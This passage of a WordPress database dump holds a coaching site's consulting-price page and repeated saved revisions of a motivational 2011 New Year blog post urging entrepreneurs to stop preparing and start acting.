customers.</strong>\r\n\r\n<strong>Increased awareness of the entrepreneur’s abundance mindset, and the practices that make an extraordinary leader, you''ll experience notably more clarity and confidence to pursue your best opportunities to serve higher value clients and customers who delight in their experience of doing business with you. And as a result, happily exchange higher sums of money to show their appreciation for the value you are creating for them.</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Minimum investment: $15K+ USD\r\nThe duration of this consulting engagement is generally within a 6-8 week time frame.</strong></span>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>Quantum Leap Business Coaching</h2>\r\nLeveraging your personal effectiveness, clarity and confidence by an order of magnitude is a quantum leap. You shouldn’t be surprised to learn that peek performance and unconventional success will require unconventional thinking. Quantum leaps require the type of thinking that removes the safety and security of your current beliefs. If you want to accelerate your rate of achievement, you must relinquish your current habits and kick up your game.  Begin to shift your thinking from limits and obstacles to potential and possibilities. To do that, let your burning desires guide your way forward. I can help increase your clarity and confidence to pursue your best opportunities to experience your bigger, better future.\r\n\r\nI provide on-going business coaching that will inspire you to increase the quality of your presence in every aspect of your business and life success. Our coaching format is highly flexible, (and mostly virtual) involving conference calls and online interaction that will enable you to laser focus on innovative ideas and practices to make a quantum leap to your next level of business and life success.\r\n\r\n<span style="color: #ff6600;"><strong>Investment: $2,500 USD, monthly for a minimum period of three (3) months.</strong></span>\r\n<h1><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #ff6600;"> Send an email to me: <a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>\r\n\r\nBriefly outline your current business circumstances, what level of consulting you''re interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry. From there, we can arrange a brief telephone conversation to determine if there is a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closer to realizing your vision for your bigger future.\r\n\r\n</span></h2>\r\n<h2><span style="color: #ff6600;">I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2011-01-02 15:57:02', '2011-01-02 22:57:02', '', 138, 'http://www.whitehotcenter.com/2011/01/02/138-revision-126/', 0, 'revision', '', 0),
(1435, 2, '2011-01-03 06:35:27', '2011-01-03 13:35:27', '', 'meter', 0, '', 'inherit', 'open', 'open', '', 'meter', '', '', '2011-01-03 06:35:27', '2011-01-03 13:35:27', '', 1434, 'http://www.whitehotcenter.com/wp-content/uploads/2011/01/meter.gif', 0, 'attachment', 'image/gif', 0),
(1436, 2, '2011-01-03 06:40:41', '2011-01-03 13:40:41', '<a href="http://whc.fbdev.org/wp-content/uploads/2011/01/meter.gif"><img class="alignnone size-full wp-image-1435" title="meter" src="http://whc.fbdev.org/wp-content/uploads/2011/01/meter.gif" alt="rock the needle in 2011" width="432" height="382" /></a>\n<h2>It''s my believe 2011 will be the year when many entrepreneurs rock the needle in realizing their business and life goals. I know it will be for me.  With every action you take towards the goals you’ve set for yourself this year, ask yourself this question before you move one muscle, “will this rock the needle?”</h2>\nI think one of the most frustrating things to experience is to realize all you’ve been doing is getting ready to get ready. This is worse than procrastination– and it’s a waste of valuable mental and physical energy!\n\nDo you recognize any of these getting-ready-to-get-ready activities?\n\n<strong>- doing more and more research\n- perfecting your plan\n- tweaking your website / blog / portfolio / resume</strong>\n\nNone of these activities will move the needle one bit toward making your vision materialize. For that to happen, you must, at last, be out there connecting with people, contributing your value, building trust–long before they will ever be your customers or clients.\n\nDo you recognize any of these rock the needle activities?\n\n<strong>- sending that email, making that phone call, going to that conference\n- introducing yourself to as many off-line people as you can.\n- introducing yourself to as many online people as you can.\n- finding opportunities to contribute your value to people first\n- building new partnerships, alliances and collaborations with accomplished people\n- supporting and nurturing and elevating your “community” by whatever means you have.</strong>\n\nI know what your thinking to yourself– and the answer to that question is “hell yes it’s scary, risky, perhaps even foolish to do what is really necessary in the physical world to make sh*t happen!”\n\nIn order for real stuff to happen, real stuff has to get done. You can prepare, research and tweet until hell freezes over, but if you’re not connecting your value (the quality of your presence) with more people who want to exchange their money for it, you’re not rocking the needle hard enough for the universe to co-create what’s necessary for your desired results to materialize.\n\nRemember too–doing the real stuff shouldn’t feel like a chore. (Unless of course, you don’t have any clarity or confidence to know want you want.) Do everything necessary in an easy and relaxed way. When you do, you’ll experience everything that is the opposite of work!  You’ll feel the exhilaration of the momentum you are building each time you rock the needle by doing only the things that get you that much closer to achievement.\n\nTake it from some one who has beat his head against the wall of procrastination for many years! Stop getting ready to get ready! Ready or not, start rocking the meter in 2011!\n\nHappy New Year! I wish you all inspired success in 2011.', '2011: Rock the needle!', 0, '', 'inherit', 'open', 'open', '', '1434-revision', '', '', '2011-01-03 06:40:41', '2011-01-03 13:40:41', '', 1434, 'http://www.whitehotcenter.com/2011/01/03/1434-revision/', 0, 'revision', '', 0),
(1437, 2, '2011-01-03 06:40:47', '2011-01-03 13:40:47', '<a href="http://whc.fbdev.org/wp-content/uploads/2011/01/meter.gif"><img class="alignnone size-full wp-image-1435" title="meter" src="http://whc.fbdev.org/wp-content/uploads/2011/01/meter.gif" alt="rock the needle in 2011" width="432" height="382" /></a>\r\n<h2>It''s my believe 2011 will be the year when many entrepreneurs rock the needle in realizing their business and life goals. I know it will be for me.  With every action you take towards the goals you’ve set for yourself this year, ask yourself this question before you move one muscle, “will this rock the needle?”</h2>\r\nI think one of the most frustrating things to experience is to realize all you’ve been doing is getting ready to get ready. This is worse than procrastination– and it’s a waste of valuable mental and physical energy!\r\n\r\nDo you recognize any of these getting-ready-to-get-ready activities?\r\n\r\n<strong>- doing more and more research\r\n- perfecting your plan\r\n- tweaking your website / blog / portfolio / resume</strong>\r\n\r\nNone of these activities will move the needle one bit toward making your vision materialize. For that to happen, you must, at last, be out there connecting with people, contributing your value, building trust–long before they will ever be your customers or clients.\r\n\r\nDo you recognize any of these rock the needle activities?\r\n\r\n<strong>- sending that email, making that phone call, going to that conference\r\n- introducing yourself to as many off-line people as you can.\r\n- introducing yourself to as many online people as you can.\r\n- finding opportunities to contribute your value to people first\r\n- building new partnerships, alliances and collaborations with accomplished people\r\n- supporting and nurturing and elevating your “community” by whatever means you have.</strong>\r\n\r\nI know what your thinking to yourself– and the answer to that question is “hell yes it’s scary, risky, perhaps even foolish to do what is really necessary in the physical world to make sh*t happen!”\r\n\r\nIn order for real stuff to happen, real stuff has to get done. You can prepare, research and tweet until hell freezes over, but if you’re not connecting your value (the quality of your presence) with more people who want to exchange their money for it, you’re not rocking the needle hard enough for the universe to co-create what’s necessary for your desired results to materialize.\r\n\r\nRemember too–doing the real stuff shouldn’t feel like a chore. (Unless of course, you don’t have any clarity or confidence to know want you want.) Do everything necessary in an easy and relaxed way. When you do, you’ll experience everything that is the opposite of work!  You’ll feel the exhilaration of the momentum you are building each time you rock the needle by doing only the things that get you that much closer to achievement.\r\n\r\nTake it from some one who has beat his head against the wall of procrastination for many years! Stop getting ready to get ready! Ready or not, start rocking the meter in 2011!\r\n\r\n<strong>Happy New Year! I wish you all inspired success in 2011.</strong>', '2011: Rock the needle!', 0, '', 'inherit', 'open', 'open', '', '1434-revision-2', '', '', '2011-01-03 06:40:47', '2011-01-03 13:40:47', '', 1434, 'http://www.whitehotcenter.com/2011/01/03/1434-revision-2/', 0, 'revision', '', 0),
(1438, 2, '2011-01-03 06:40:58', '2011-01-03 13:40:58', '<a href="http://whc.fbdev.org/wp-content/uploads/2011/01/meter.gif"><img class="alignnone size-full wp-image-1435" title="meter" src="http://whc.fbdev.org/wp-content/uploads/2011/01/meter.gif" alt="rock the needle in 2011" width="432" height="382" /></a>\r\n<h2>It''s my believe 2011 will be the year when many entrepreneurs rock the needle in realizing their business and life goals. I know it will be for me.  With every action you take towards the goals you’ve set for yourself this year, ask yourself this question before you move one muscle, “will this rock the needle?”</h2>\r\nI think one of the most frustrating things to experience is to realize all you’ve been doing is getting ready to get ready. This is worse than procrastination– and it’s a waste of valuable mental and physical energy!\r\n\r\nDo you recognize any of these getting-ready-to-get-ready activities?\r\n\r\n<strong>- doing more and more research\r\n- perfecting your plan\r\n- tweaking your website / blog / portfolio / resume</strong>\r\n\r\nNone of these activities will move the needle one bit toward making your vision materialize. For that to happen, you must, at last, be out there connecting with people, contributing your value, building trust–long before they will ever be your customers or clients.\r\n\r\nDo you recognize any of these rock the needle activities?\r\n\r\n<strong>- sending that email, making that phone call, going to that conference\r\n- introducing yourself to as many off-line people as you can.\r\n- introducing yourself to as many online people as you can.\r\n- finding opportunities to contribute your value to people first\r\n- building new partnerships, alliances and collaborations with accomplished people\r\n- supporting and nurturing and elevating your “community” by whatever means you have.</strong>\r\n\r\nI know what your thinking to yourself– and the answer to that question is “hell yes it’s scary, risky, perhaps even foolish to do what is really necessary in the physical world to make sh*t happen!”\r\n\r\nIn order for real stuff to happen, real stuff has to get done. You can prepare, research and tweet until hell freezes over, but if you’re not connecting your value (the quality of your presence) with more people who want to exchange their money for it, you’re not rocking the needle hard enough for the universe to co-create what’s necessary for your desired results to materialize.\r\n\r\nRemember too–doing the real stuff shouldn’t feel like a chore. (Unless of course, you don’t have any clarity or confidence to know want you want.) Do everything necessary in an easy and relaxed way. When you do, you’ll experience everything that is the opposite of work!  You’ll feel the exhilaration of the momentum you are building each time you rock the needle by doing only the things that get you that much closer to achievement.\r\n\r\nTake it from some one who has beat his head against the wall of procrastination for many years! Stop getting ready to get ready! Ready or not, start rocking the meter in 2011!\r\n\r\n<strong>Happy New Year! I wish you all inspired success in 2011.</strong>', '2011: Rock the needle!', 0, '', 'inherit', 'open', 'open', '', '1434-revision-3', '', '', '2011-01-03 06:40:58', '2011-01-03 13:40:58', '', 1434, 'http://www.whitehotcenter.com/2011/01/03/1434-revision-3/', 0, 'revision', '', 0),
(1439, 2, '2011-01-03 06:41:09', '2011-01-03 13:41:09', '<a href="http://whc.fbdev.org/wp-content/uploads/2011/01/meter.gif"><img class="alignnone size-full wp-image-1435" title="meter" src="http://whc.fbdev.org/wp-content/uploads/2011/01/meter.gif" alt="rock the needle in 2011" width="432" height="382" /></a>\r\n<h2>It''s my believe 2011 will be the year when many entrepreneurs rock the needle in realizing their business and life goals. I know it will be for me.  With every action you take towards the goals you’ve set for yourself this year, ask yourself this question before you move one muscle, “will this rock the needle?”</h2>\r\nI think one of the most frustrating things to experience is to realize all you’ve been doing is getting ready to get ready. This is worse than procrastination– and it’s a waste of valuable mental and physical energy!\r\n\r\nDo you recognize any of these getting-ready-to-get-ready activities?\r\n\r\n<strong>- doing more and more research\r\n- perfecting your plan\r\n- tweaking your website / blog / portfolio / resume</strong>\r\n\r\nNone of these activities will move the needle one bit toward making your vision materialize. For that to happen, you must, at last, be out there connecting with people, contributing your value, building trust–long before they will ever be your customers or clients.\r\n\r\nDo you recognize any of these rock the needle activities?\r\n\r\n<strong>- sending that email, making that phone call, going to that conference\r\n- introducing yourself to as many off-line people as you can.\r\n- introducing yourself to as many online people as you can.\r\n- finding opportunities to contribute your value to people first\r\n- building new partnerships, alliances and collaborations with accomplished people\r\n- supporting and nurturing and elevating your “community” by whatever means you have.</strong>\r\n\r\nI know what your thinking to yourself– and the answer to that question is “hell yes it’s scary, risky, perhaps even foolish to do what is really necessary in the physical world to make sh*t happen!”\r\n\r\nIn order for real stuff to happen, real stuff has to get done. You can prepare, research and tweet until hell freezes over, but if you’re not connecting your value (the quality of your presence) with more people who want to exchange their money for it, you’re not rocking the needle hard enough for the universe to co-create what’s necessary for your desired results to materialize.\r\n\r\nRemember too–doing the real stuff shouldn’t feel like a chore. (Unless of course, you don’t have any clarity or confidence to know want you want.) Do everything necessary in an easy and relaxed way. When you do, you’ll experience everything that is the opposite of work!  You’ll feel the exhilaration of the momentum you are building each time you rock the needle by doing only the things that get you that much closer to achievement.\r\n\r\nTake it from some one who has beat his head against the wall of procrastination for many years! Stop getting ready to get ready! Ready or not, start rocking the meter in 2011!\r\n\r\n<strong>Happy New Year! I wish you all inspired success in 2011.</strong>', '2011: Rock the needle!', 0, '', 'inherit', 'open', 'open', '', '1434-revision-4', '', '', '2011-01-03 06:41:09', '2011-01-03 13:41:09', '', 1434, 'http://www.whitehotcenter.com/2011/01/03/1434-revision-4/', 0, 'revision', '', 0),
(1440, 2, '2011-01-03 06:42:41', '2011-01-03 13:42:41', '<a href="http://whc.fbdev.org/wp-content/uploads/2011/01/meter.gif"><img class="alignnone size-full wp-image-1435" title="meter" src="http://whc.fbdev.org/wp-content/uploads/2011/01/meter.gif" alt="rock the needle in 2011" width="432" height="382" /></a>\r\n<h2>It''s my believe 2011 will be the year when many entrepreneurs rock the needle in realizing their business and life goals. I know it will be for me.  With every action you take towards the goals you’ve set for yourself this year, ask yourself this question before you move one muscle, “will this rock the needle?”</h2>\r\nI think one of the most frustrating things to experience is to realize all you’ve been doing is getting ready to get ready. This is worse than procrastination– and it’s a waste of valuable mental and physical energy!\r\n\r\nDo you recognize any of these getting-ready-to-get-ready activities?\r\n\r\n<strong>- doing more and more research\r\n- perfecting your plan\r\n- tweaking your website / blog / portfolio / resume</strong>\r\n\r\nNone of these activities will move the needle one bit toward making your vision materialize. For that to happen, you must, at last, be out there connecting with people, contributing your value, building trust–long before they will ever be your customers or clients.\r\n\r\nDo you recognize any of these rock the needle activities?\r\n\r\n<strong>- sending that email, making that phone call, going to that conference\r\n- introducing yourself to as many off-line people as you can.\r\n- introducing yourself to as many online people as you can.\r\n- finding opportunities to contribute your value to people first\r\n- building new partnerships, alliances and collaborations with\r\naccomplished people\r\n- supporting and nurturing and elevating your “community” by whatever\r\nmeans you have.</strong>\r\n\r\nI know what your thinking to yourself– and the answer to that question is “hell yes it’s scary, risky, perhaps even foolish to do what is really necessary in the physical world to make sh*t happen!”\r\n\r\nIn order for real stuff to happen, real stuff has to get done. You can prepare, research and tweet until hell freezes over, but if you’re not connecting your value (the quality of your presence) with more people who want to exchange their money for it, you’re not rocking the needle hard enough for the universe to co-create what’s necessary for your desired results to materialize.\r\n\r\nRemember too–doing the real stuff shouldn’t feel like a chore. (Unless of course, you don’t have any clarity or confidence to know want you want.) Do everything necessary in an easy and relaxed way. When you do, you’ll experience everything that is the opposite of work!  You’ll feel the exhilaration of the momentum you are building each time you rock the needle by doing only the things that get you that much closer to achievement.\r\n\r\nTake it from some one who has beat his head against the wall of procrastination for many years! Stop getting ready to get ready! Ready or not, start rocking the meter in 2011!\r\n\r\n<strong>Happy New Year! I wish you all inspired success in 2011.</strong>', '2011: Rock the needle!', 0, '', 'inherit', 'open', 'open', '', '1434-revision-5', '', '', '2011-01-03 06:42:41', '2011-01-03 13:42:41', '', 1434, 'http://www.whitehotcenter.com/2011/01/03/1434-revision-5/', 0, 'revision', '', 0),
(1441, 2, '2011-01-03 06:42:49', '2011-01-03 13:42:49', '<a href="http://whc.fbdev.org/wp-content/uploads/2011/01/meter.gif"><img class="alignnone size-full wp-image-1435" title="meter" src="http://whc.fbdev.org/wp-content/uploads/2011/01/meter.gif" alt="rock the needle in 2011" width="432" height="382" /></a>\r\n<h2>It''s my believe 2011 will be the year when many entrepreneurs rock the needle in realizing their business and life goals. I know it will be for me.  With every action you take towards the goals you’ve set for yourself this year, ask yourself this question before you move one muscle, “will this rock the needle?”</h2>\r\nI think one of the most frustrating things to experience is to realize all you’ve been doing is getting ready to get ready. This is worse than procrastination– and it’s a waste of valuable mental and physical energy!\r\n\r\nDo you recognize any of these getting-ready-to-get-ready activities?\r\n\r\n<strong>- doing more and more research\r\n- perfecting your plan\r\n- tweaking your website / blog / portfolio / resume</strong>\r\n\r\nNone of these activities will move the needle one bit toward making your vision materialize. For that to happen, you must, at last, be out there connecting with people, contributing your value, building trust–long before they will ever be your customers or clients.\r\n\r\nDo you recognize any of these rock the needle activities?\r\n\r\n<strong>- sending that email, making that phone call, going to that conference\r\n- introducing yourself to as many off-line people as you can.\r\n- introducing yourself to as many online people as you can.\r\n- finding opportunities to contribute your value to people first\r\n- building new partnerships, alliances and collaborations with\r\naccomplished people\r\n- supporting and nurturing and elevating your “community” by whatever\r\nmeans you have.</strong>\r\n\r\nI know what your thinking to yourself– and the answer to that question is “hell yes it’s scary, risky, perhaps even foolish to do what is really necessary in the physical world to make sh*t happen!”\r\n\r\nIn order for real stuff to happen, real stuff has to get done. You can prepare, research and tweet until hell freezes over, but if you’re not connecting your value (the quality of your presence) with more people who want to exchange their money for it, you’re not rocking the needle hard enough for the universe to co-create what’s necessary for your desired results to materialize.\r\n\r\nRemember too–doing the real stuff shouldn’t feel like a chore. (Unless of course, you don’t have any clarity or confidence to know want you want.) Do everything necessary in an easy and relaxed way. When you do, you’ll experience everything that is the opposite of work!  You’ll feel the exhilaration of the momentum you are building each time you rock the needle by doing only the things that get you that much closer to achievement.\r\n\r\nTake it from some one who has beat his head against the wall of procrastination for many years! Stop getting ready to get ready! Ready or not, start rocking the meter in 2011!\r\n\r\n<strong>Happy New Year! I wish you all inspired success in 2011.</strong>', '2011: Rock the needle!', 0, '', 'inherit', 'open', 'open', '', '1434-revision-6', '', '', '2011-01-03 06:42:49', '2011-01-03 13:42:49', '', 1434, 'http://www.whitehotcenter.com/2011/01/03/1434-revision-6/', 0, 'revision', '', 0),
(1445, 2, '2011-01-03 06:48:18', '2011-01-03 13:48:18', '<a href="http://whc.fbdev.org/wp-content/uploads/2011/01/meter.gif"><img class="alignnone size-full wp-image-1435" title="meter" src="http://whc.fbdev.org/wp-content/uploads/2011/01/meter.gif" alt="rock the needle in 2011" width="432" height="382" /></a>\r\n<h2>It''s my belief 2011 will be the year when many entrepreneurs rock the needle in realizing their business and life goals. I know it will be for me.  With every action you take towards the goals you’ve set for yourself this year, ask yourself this question before you move one muscle, “will this rock the needle?”</h2>\r\nI think one of the most frustrating things to experience is to realize all you’ve been doing is getting ready to get ready. This is worse than procrastination– and it’s a waste of valuable mental and physical energy!\r\n\r\nDo you recognize any of these getting-ready-to-get-ready activities?\r\n\r\n<strong>- doing more and more research.\r\n- perfecting your plan, your product idea, your presentation.\r\n- tweaking your website / blog / portfolio / resume.</strong>\r\n\r\nNone of these activities will move the needle one bit toward making your vision materialize. For that to happen, you must, at last, be out there connecting with people, contributing your value, building trust–long before they will ever be your customers or clients.\r\n\r\nDo you recognize any of these rock the needle activities?\r\n\r\n<strong>- sending that email, making that phone call, going to that conference\r\n- introducing yourself to as many off-line people as you can.\r\n- introducing yourself to as many online people as you can.\r\n- finding opportunities to contribute your value to people first.\r\n- building new partnerships, alliances and collaborations.\r\n- supporting and nurturing and elevating your “community” .</strong>\r\n\r\nI know what your thinking to yourself– and the answer to that question is “hell yes it’s scary, risky, perhaps even foolish to do what is really necessary in the physical world to make sh*t happen!”\r\n\r\nIn order for real stuff to happen, real stuff has to get done. You can prepare, research and tweet until hell freezes over, but if you’re not connecting your value (the quality of your presence) with more people who want to exchange their money for it, you’re not rocking the needle hard enough for the universe to co-create what’s necessary for your desired results to materialize.\r\n\r\nRemember too–doing the real stuff shouldn’t feel like a chore. (Unless of course, you don’t have any clarity or confidence to know want you want.) Do everything necessary in an easy and relaxed way. When you do, you’ll experience everything that is the opposite of work!  You’ll feel the exhilaration of the momentum you are building each time you rock the needle by doing only the things that get you that much closer to achievement.\r\n\r\nTake it from some one who has beat his head against the wall of procrastination for many years! Stop getting ready to get ready! Ready or not, start rocking the meter in 2011!\r\n\r\n<strong>Happy New Year! I wish you all inspired success in 2011.</strong>', '2011: Rock the needle!', 0, '', 'inherit', 'open', 'open', '', '1434-revision-10', '', '', '2011-01-03 06:48:18', '2011-01-03 13:48:18', '', 1434, 'http://www.whitehotcenter.com/2011/01/03/1434-revision-10/', 0, 'revision', '', 0),
(1442, 2, '2011-01-03 06:45:53', '2011-01-03 13:45:53', '<a href="http://whc.fbdev.org/wp-content/uploads/2011/01/meter.gif"><img class="alignnone size-full wp-image-1435" title="meter" src="http://whc.fbdev.org/wp-content/uploads/2011/01/meter.gif" alt="rock the needle in 2011" width="432" height="382" /></a>\r\n<h2>It''s my belief 2011 will be the year when many entrepreneurs rock the needle in realizing their business and life goals. I know it will be for me.  With every action you take towards the goals you’ve set for yourself this year, ask yourself this question before you move one muscle, “will this rock the needle?”</h2>\r\nI think one of the most frustrating things to experience is to realize all you’ve been doing is getting ready to get ready. This is worse than procrastination– and it’s a waste of valuable mental and physical energy!\r\n\r\nDo you recognize any of these getting-ready-to-get-ready activities?\r\n\r\n<strong>- doing more and more research\r\n- perfecting your plan, your product idea, your presentation\r\n- tweaking your website / blog / portfolio / resume</strong>\r\n\r\nNone of these activities will move the needle one bit toward making your vision materialize. For that to happen, you must, at last, be out there connecting with people, contributing your value, building trust–long before they will ever be your customers or clients.\r\n\r\nDo you recognize any of these rock the needle activities?\r\n\r\n<strong>- sending that email, making that phone call, going to that conference\r\n- introducing yourself to as many off-line people as you can.\r\n- introducing yourself to as many online people as you can.\r\n- finding opportunities to contribute your value to people first\r\n- building new partnerships, alliances and collaborations with\r\naccomplished people\r\n- supporting and nurturing and elevating your “community” by whatever\r\nmeans you have.</strong>\r\n\r\nI know what your thinking to yourself– and the answer to that question is “hell yes it’s scary, risky, perhaps even foolish to do what is really necessary in the physical world to make sh*t happen!”\r\n\r\nIn order for real stuff to happen, real stuff has to get done. You can prepare, research and tweet until hell freezes over, but if you’re not connecting your value (the quality of your presence) with more people who want to exchange their money for it, you’re not rocking the needle hard enough for the universe to co-create what’s necessary for your desired results to materialize.\r\n\r\nRemember too–doing the real stuff shouldn’t feel like a chore. (Unless of course, you don’t have any clarity or confidence to know want you want.) Do everything necessary in an easy and relaxed way. When you do, you’ll experience everything that is the opposite of work!  You’ll feel the exhilaration of the momentum you are building each time you rock the needle by doing only the things that get you that much closer to achievement.\r\n\r\nTake it from some one who has beat his head against the wall of procrastination for many years! Stop getting ready to get ready! Ready or not, start rocking the meter in 2011!\r\n\r\n<strong>Happy New Year! I wish you all inspired success in 2011.</strong>', '2011: Rock the needle!', 0, '', 'inherit', 'open', 'open', '', '1434-revision-7', '', '', '2011-01-03 06:45:53', '2011-01-03 13:45:53', '', 1434, 'http://www.whitehotcenter.com/2011/01/03/1434-revision-7/', 0, 'revision', '', 0),
(1443, 2, '2011-01-03 06:46:07', '2011-01-03 13:46:07', '<a href="http://whc.fbdev.org/wp-content/uploads/2011/01/meter.gif"><img class="alignnone size-full wp-image-1435" title="meter" src="http://whc.fbdev.org/wp-content/uploads/2011/01/meter.gif" alt="rock the needle in 2011" width="432" height="382" /></a>\r\n<h2>It''s my belief 2011 will be the year when many entrepreneurs rock the needle in realizing their business and life goals. I know it will be for me.  With every action you take towards the goals you’ve set for yourself this year, ask yourself this question before you move one muscle, “will this rock the needle?”</h2>\r\nI think one of the most frustrating things to experience is to realize all you’ve been doing is getting ready to get ready. This is worse than procrastination– and it’s a waste of valuable mental and physical energy!\r\n\r\nDo you recognize any of these getting-ready-to-get-ready activities?\r\n\r\n<strong>- doing more and more research\r\n- perfecting your plan, your product idea, your presentation\r\n- tweaking your website / blog / portfolio / resume</strong>\r\n\r\nNone of these activities will move the needle one bit toward making your vision materialize. For that to happen, you must, at last, be out there connecting with people, contributing your value, building trust–long before they will ever be your customers or clients.\r\n\r\nDo you recognize any of these rock the needle activities?\r\n\r\n<strong>- sending that email, making that phone call, going to that conference\r\n- introducing yourself to as many off-line people as you can.\r\n- introducing yourself to as many online people as you can.\r\n- finding opportunities to contribute your value to people first\r\n- building new partnerships, alliances and collaborations with\r\naccomplished people\r\n- supporting and nurturing and elevating your “community” by whatever\r\nmeans you have.</strong>\r\n\r\nI know what your thinking to yourself– and the answer to that question is “hell yes it’s scary, risky, perhaps even foolish to do what is really necessary in the physical world to make sh*t happen!”\r\n\r\nIn order for real stuff to happen, real stuff has to get done. You can prepare, research and tweet until hell freezes over, but if you’re not connecting your value (the quality of your presence) with more people who want to exchange their money for it, you’re not rocking the needle hard enough for the universe to co-create what’s necessary for your desired results to materialize.\r\n\r\nRemember too–doing the real stuff shouldn’t feel like a chore. (Unless of course, you don’t have any clarity or confidence to know want you want.) Do everything necessary in an easy and relaxed way. When you do, you’ll experience everything that is the opposite of work!  You’ll feel the exhilaration of the momentum you are building each time you rock the needle by doing only the things that get you that much closer to achievement.\r\n\r\nTake it from some one who has beat his head against the wall of procrastination for many years! Stop getting ready to get ready! Ready or not, start rocking the meter in 2011!\r\n\r\n<strong>Happy New Year! I wish you all inspired success in 2011.</strong>', '2011: Rock the needle!', 0, '', 'inherit', 'open', 'open', '', '1434-revision-8', '', '', '2011-01-03 06:46:07', '2011-01-03 13:46:07', '', 1434, 'http://www.whitehotcenter.com/2011/01/03/1434-revision-8/', 0, 'revision', '', 0),
(1444, 2, '2011-01-03 06:46:23', '2011-01-03 13:46:23', '<a href="http://whc.fbdev.org/wp-content/uploads/2011/01/meter.gif"><img class="alignnone size-full wp-image-1435" title="meter" src="http://whc.fbdev.org/wp-content/uploads/2011/01/meter.gif" alt="rock the needle in 2011" width="432" height="382" /></a>\r\n<h2>It''s my belief 2011 will be the year when many entrepreneurs rock the needle in realizing their business and life goals. I know it will be for me.  With every action you take towards the goals you’ve set for yourself this year, ask yourself this question before you move one muscle, “will this rock the needle?”</h2>\r\nI think one of the most frustrating things to experience is to realize all you’ve been doing is getting ready to get ready. This is worse than procrastination– and it’s a waste of valuable mental and physical energy!\r\n\r\nDo you recognize any of these getting-ready-to-get-ready activities?\r\n\r\n<strong>- doing more and more research\r\n- perfecting your plan, your product idea, your presentation\r\n- tweaking your website / blog / portfolio / resume</strong>\r\n\r\nNone of these activities will move the needle one bit toward making your vision materialize. For that to happen, you must, at last, be out there connecting with people, contributing your value, building trust–long before they will ever be your customers or clients.\r\n\r\nDo you recognize any of these rock the needle activities?\r\n\r\n<strong>- sending that email, making that phone call, going to that conference\r\n- introducing yourself to as many off-line people as you can.\r\n- introducing yourself to as many online people as you can.\r\n- finding opportunities to contribute your value to people first\r\n- building new partnerships, alliances and collaborations with\r\naccomplished people\r\n- supporting and nurturing and elevating your “community” by whatever\r\nmeans you have.</strong>\r\n\r\nI know what your thinking to yourself– and the answer to that question is “hell yes it’s scary, risky, perhaps even foolish to do what is really necessary in the physical world to make sh*t happen!”\r\n\r\nIn order for real stuff to happen, real stuff has to get done. You can prepare, research and tweet until hell freezes over, but if you’re not connecting your value (the quality of your presence) with more people who want to exchange their money for it, you’re not rocking the needle hard enough for the universe to co-create what’s necessary for your desired results to materialize.\r\n\r\nRemember too–doing the real stuff shouldn’t feel like a chore. (Unless of course, you don’t have any clarity or confidence to know want you want.) Do everything necessary in an easy and relaxed way. When you do, you’ll experience everything that is the opposite of work!  You’ll feel the exhilaration of the momentum you are building each time you rock the needle by doing only the things that get you that much closer to achievement.\r\n\r\nTake it from some one who has beat his head against the wall of procrastination for many years! Stop getting ready to get ready! Ready or not, start rocking the meter in 2011!\r\n\r\n<strong>Happy New Year! I wish you all inspired success in 2011.</strong>', '2011: Rock the needle!', 0, '', 'inherit', 'open', 'open', '', '1434-revision-9', '', '', '2011-01-03 06:46:23', '2011-01-03 13:46:23', '', 1434, 'http://www.whitehotcenter.com/2011/01/03/1434-revision-9/', 0, 'revision', '', 0),
(1451, 2, '2011-01-03 06:53:13', '2011-01-03 13:53:13', '<a href="http://whc.fbdev.org/wp-content/uploads/2011/01/meter.gif"><img class="alignnone size-full wp-image-1435" title="meter" src="http://whc.fbdev.org/wp-content/uploads/2011/01/meter.gif" alt="rock the needle in 2011" width="432" height="382" /></a>\r\n<h2>It''s my belief 2011 will be the year when many entrepreneurs rock the needle in realizing their business and life goals. I know it will be for me.  With every action you take towards the goals you’ve set for yourself this year, ask yourself this question before you move one muscle, “will this rock the needle?”</h2>\r\nI think one of the most frustrating things to experience is to realize all you’ve been doing is getting ready to get ready. This is worse than procrastination– and it’s a waste of valuable mental and physical energy!\r\n\r\nDo you recognize any of these getting-ready-to-get-ready activities?\r\n\r\n<strong>- doing more and more research.\r\n- perfecting your plan, your product idea, your presentation.\r\n- tweaking your website / blog / portfolio / resume.</strong>\r\n\r\nNone of these activities will move the needle one bit toward making your vision materialize. For that to happen, you must, at last, be out there connecting with people, contributing your value, building trust–long before they will ever be your customers or clients.\r\n\r\nDo you recognize any of these rock the needle activities?\r\n\r\n<strong>- sending that email, making that phone call, going to that conference\r\n- introducing yourself to as many off-line people as you can.\r\n- introducing yourself to as many online people as you can.\r\n- finding opportunities to contribute your value to people first.\r\n- building new partnerships, alliances and collaborations.\r\n- supporting and nurturing and elevating your “community” .</strong>\r\n\r\nI know what your thinking to yourself– and the answer to that question is “hell yes it’s scary, risky, perhaps even foolish to do what is really necessary in the physical world to make sh*t happen!”\r\n<h1><span style="color: #808080;">In order for real stuff to happen, real stuff has to get done. </span></h1>\r\nYou can prepare, research and tweet until hell freezes over, but if you’re not connecting your value (the quality of your presence) with more people who want to exchange their money for it, you’re not rocking the needle hard enough for the universe to co-create what’s necessary for your desired results to materialize.\r\n\r\nRemember too–doing the real stuff shouldn’t feel like a chore. (Unless of course, you don’t have any clarity or confidence to know want you want.) Do everything necessary in an easy and relaxed way. When you do, you’ll experience everything that is the opposite of work!  You’ll feel the exhilaration of the momentum you are building each time you rock the needle by doing only the things that get you that much closer to achievement.\r\n<h2>Stop getting ready to get ready! Ready or not, start rocking the meter in 2011!</h2>\r\n<strong>Happy New Year! I wish you all inspired success in 2011.</strong>', '2011: Rock the needle!', 0, '', 'inherit', 'open', 'open', '', '1434-revision-16', '', '', '2011-01-03 06:53:13', '2011-01-03 13:53:13', '', 1434, 